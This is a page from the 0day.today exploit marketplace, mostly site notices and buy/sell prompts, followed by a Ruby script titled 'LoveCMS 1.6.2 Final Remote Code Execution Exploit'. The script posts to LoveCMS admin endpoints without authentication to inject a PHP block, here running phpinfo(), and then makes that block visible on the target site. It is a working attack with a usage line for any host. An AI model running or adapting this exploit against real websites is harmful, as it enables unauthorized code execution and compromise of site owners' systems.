0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
LoveCMS 1.6.2 Final Remote Code Execution Exploit
================================================= LoveCMS 1.6.2 Final Remote Code Execution Exploit ================================================= #!/usr/bin/ruby # ## Exploit by PoMdaPiMp! ## --------------------- ## ## LoveCMS Exploit Series ## Episode 1: adding a side block ## ## Description: add some php into a block container ## on the side of the site. phpinfo() is called. ## ## Usage: ./LoveCMS_1_blocks.rb <host> ## Ex: ./LoveCMS_1_blocks.rb http://site.com/lovecms/ ## ## Tested on: lovecms_1.6.2_final (MacOS X, Xampp) # require 'net/http' require 'uri' @host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/' @host = ARGV[0] if ARGV[0] @host += @host[-1, 1].to_s != '/' ? '/' : '' if @host # -- puts " + LoveCMS Exploit Series. #1: Adding side blocks." puts puts " : Attacking host: " + @host # -- # Insert a new block res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/addblock.php'), {'submit'=>'1', 'title'=>'H4Ck', 'content' => 'phpinfo();', 'type' => 'php'}) puts " :: Block inserted." # -- # Build post variable for next step post_vars = {'submit' => 1} (1..50).each do |id| post_vars['position' + id.to_s] = 1 post_vars['height' + id.to_s] = 1 post_vars['visible' + id.to_s] = 1 end # Make the block visible res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/blocks.php'), post_vars ) puts " :: Blocks displayed." # -- puts puts " - Visit " + @host end # 0day.today [2024-12-26] #